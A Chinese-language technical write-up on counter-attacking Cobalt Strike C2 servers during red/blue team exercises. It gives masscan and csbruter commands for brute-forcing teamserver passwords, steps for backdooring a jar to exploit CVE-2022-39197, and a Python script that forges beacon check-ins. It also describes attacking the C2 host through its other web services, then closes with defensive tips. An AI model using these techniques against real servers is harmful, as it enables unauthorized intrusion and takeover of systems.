记对cobalt strike的反制思路研究
字数 1476 2025-08-22 12:22:59
Cobalt Strike反制思路研究
1. Cobalt Strike上线流程分析
Cobalt Strike (CS)是护网中红队常用的C2工具,其上线流程如下:
- 攻击者利用CS Server生成新的Beacon监听(包括一对非对称公私钥)并生成Stager
- 攻击者投递Stager到受控主机
- 受控主机执行Stager
- 受控主机根据Stager Url请求特征向Beacon Staging Server下载更复杂的Stage
- Beacon Staging Server校验Url的合法性
- Stage解密并解析Beacon配置信息(公钥PublicKey、C2 Server信息等)
- Stage通过公钥PublicKey加密主机的元数据并发送至C2 Server
- C2 Server用私钥解密数据获取主机元数据
核心点:
- Stager Url校验算法
- Beacon配置的解密算法
2. 反制方法
方法1:爆破CS弱口令
步骤:
- 收集红队teamserver真实IP信息
- 扫描开放端口(默认50050,或使用masscan扫描所有端口)
$ sudo masscan -p1-65535 192.168.10.158 - 使用csbruter工具爆破密码
python csbruter.py -p 50666 192.168.10.158 top1000.txt - 连接成功后进行后续操作
工具:csbruter
方法2:利用CS RCE漏洞(CVE-2022-39197)反制
适用版本:Cobalt Strike < 4.7.1
原理:Java Swing中某个控件存在RCE,CS使用了该控件
利用步骤:
- 下载利用脚本:CVE-2022-39197
- 修改jar包内容,加入后门
- 使用mvn打包
mvn clean compile assembly:single - 放入CVE的serve目录
- 修改URL为下载恶意jar包的地址
- 开启8080端口服务
- 找到红队beacon.exe文件,使用POC执行
注意:需做好物理隔离,防止红队反渗透
方法3:批量伪装上线
原理:分析CS上线过程,模拟合法Beacon上线
步骤:
-
抓包分析:
- 使用Wireshark分析CS上线过程
- 发现GET /gif请求,Cookie为RSA加密的主机元数据
-
解密Cookie:
- 使用DumpKeys.java获取私钥
- 或使用在线RSA解密工具:the-x.cn
-
模拟上线脚本:
import requests url = "http://192.168.119.128:8001/pixel.gif" header = { "User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0)", "Accept": "*/*", "Cookie": "FRfwPoK21T48W80c9VZm8C0vw1116g/X6T4nxjYGNqQJquF9Z7M2AS2QDP6yHz+ca7rOpxi0f/fnitfMLVfy/wOwMrHDZdsxpAp2j77425op8AV9DCNYftCVowPrBtSaN4d6q3LBkXXcAbYcD9k/NDRIXB/TrWHu015XmrCibnA=", "Connection": "Keep-Alive", "Cache-Control": "no-cache" } r = requests.get(url,headers=header) -
批量伪装工具:
- 使用CS_fakesubmit
- 准备文件:
- Computer_name.txt - 计算机名称列表
- User_name.txt - 用户名列表
- Process_name.txt - 进程名列表
- Public_key.txt - CS公钥
执行:
python3 cs_fakesubmit.py输入C2 Server URL和发送次数
方法4:旁路阻断
步骤:
- 利用C2地址的其他web服务
- 测试存在的漏洞和开放端口
- 尝试获取其他站点的shell
- 通过获得的shell对C2进行攻击
3. 关键工具和技术
-
Checksum8算法:用于计算8位校验和,验证数据完整性
- 示例:55+118+118+57-256=92
-
Beacon配置解密工具:
-
关键函数:
checksum8:计算8位校验和MSFURI:处理和操作Metasploit框架中的URLisStager:判断是否为Stager脚本
4. 防御建议
-
红队防护:
- 及时更新CS版本
- 修改默认端口和密码
- 监控异常上线行为
-
蓝队检测:
- 监控异常HTTP请求(如特定gif请求)
- 分析网络流量中的RSA加密特征
- 部署蜜罐诱捕攻击者
通过以上方法,蓝队可以有效反制红队的Cobalt Strike攻击,甚至反控红队的C2服务器。